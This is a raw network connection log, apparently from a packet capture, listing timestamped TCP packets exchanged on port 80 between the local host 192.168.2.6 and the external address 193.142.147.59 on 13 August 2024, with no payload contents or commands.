Aug 13, 2024 10:21:12.743438005 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.743448019 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.743448019 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.743452072 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.743468046 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.743472099 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.743482113 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.743495941 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.743519068 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.744271040 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.744287014 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.744301081 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.744316101 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.744318008 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.744328022 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.744330883 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.744347095 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.744349003 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.744371891 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.744394064 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.745163918 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.745179892 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.745193958 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.745208979 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.745217085 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.745223045 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.745239019 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.745250940 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.745254993 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.745260000 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.745291948 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.746047974 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.746062994 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.746077061 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.746088982 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.746093035 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.746107101 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.746109009 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.746124983 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.746134996 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.746161938 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.746165037 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.746203899 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.746949911 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.746964931 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.746978045 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.746993065 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.746999025 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.747008085 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.747020006 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.747024059 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.747057915 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.747067928 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.789453030 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.789469957 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.789484024 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.789503098 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.789529085 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.789609909 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.789624929 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.789638996 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.789650917 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.789654970 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.789679050 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.789705038 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.790076017 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.790123940 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.796410084 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.796462059 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.796528101 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.796542883 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.796566963 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.796581030 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.796739101 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.796782017 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.796828985 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.796844006 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.796889067 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.796889067 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.797017097 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.797032118 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.797060966 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.797070980 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.803278923 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.803327084 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.803365946 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.803380966 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.803402901 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.803430080 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.803541899 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.803580046 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.803726912 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.803741932 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.803771019 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.803792953 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.803803921 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.803808928 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.803827047 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.803845882 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.804160118 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.804173946 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.804188967 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.804203033 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.804203033 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.804233074 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.804251909 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.804637909 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.804653883 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.804671049 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.804683924 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.804685116 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.804692030 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.804709911 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.804719925 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.814512968 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.814564943 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.814589977 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.814634085 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.814724922 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.814739943 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.814768076 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.814778090 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.815042019 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.815057039 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.815071106 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.815085888 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.815087080 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.815102100 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.815114021 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.815124989 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.815589905 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.815604925 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.815619946 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.815634012 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.815635920 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.815645933 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.815649986 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.815679073 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.815690994 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.816293955 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.816308975 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.816323042 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.816337109 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.816338062 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.816354990 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.816363096 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.816374063 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.816385984 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.816411972 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.817001104 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.817015886 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.817030907 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.817044973 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.817045927 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.817063093 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.817069054 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.817079067 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.817091942 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.817116022 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.817826033 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.817841053 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.817854881 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.817878962 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.817890882 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.819133997 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.819149017 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.819163084 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.819176912 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.819178104 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.819195986 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.819201946 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.819211960 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.819220066 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.819227934 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.819242954 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.819250107 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.819257021 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.819271088 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.819281101 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.819286108 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.819288969 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.819299936 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.819315910 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.819318056 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.819329977 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.819340944 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.819369078 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.819936991 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.819952965 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.819967031 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.819981098 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.819981098 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.819998980 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.820003986 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.820014000 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.820028067 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.820029020 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.820050001 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.820071936 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.820831060 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.820847034 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.820862055 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.820873976 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.820878983 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.820882082 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.820894957 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.820903063 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.820910931 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.820918083 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.820928097 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.820933104 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.820940018 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.820962906 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.821727037 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.821742058 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.821755886 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.821770906 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.821774960 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.821785927 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.821800947 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.821803093 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.821822882 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.821830034 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.821850061 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.821872950 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.822489023 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.822505951 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.822519064 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.822534084 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.822539091 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.822549105 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.822554111 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.822565079 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.822576046 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.822580099 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.822597027 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.822602034 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.822628975 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.823396921 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.823412895 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.823427916 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.823441982 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.823446035 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.823457956 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.823471069 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.823472977 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.823488951 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.823502064 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.823503017 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.823510885 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.823518991 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.823534012 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.823542118 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.823573112 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.824309111 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.824325085 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.824357033 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.824373960 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.877044916 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.877119064 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.877134085 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.877243996 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.877314091 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.877351046 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.877366066 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.877372980 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.877393961 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.877408981 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.877682924 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.877734900 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.884644032 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.884699106 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.884747028 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.884762049 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.884792089 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.884809017 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.884970903 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.885014057 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.885103941 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.885118961 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.885147095 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.885158062 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.885286093 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.885329962 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.891028881 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.891078949 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.891118050 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.891139030 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.891170979 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.891181946 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.891364098 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.891379118 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.891393900 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.891407013 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.891417980 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.891437054 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.891731977 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.891747952 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.891762018 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.891777039 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.891777992 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.891787052 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.891807079 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.891815901 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.892235041 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.892250061 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.892263889 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.892277956 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.892278910 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.892298937 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.892323971 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.901797056 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.901855946 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.901889086 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.901904106 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.901932955 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.901945114 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.902101994 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.902117014 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.902132034 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.902152061 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.902165890 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.902437925 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.902487040 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.902580976 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.902595997 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.902609110 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.902622938 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.902630091 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.902638912 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.902650118 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.902682066 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.903206110 CEST	80	49711	193.142.147.59	192.168.2.6
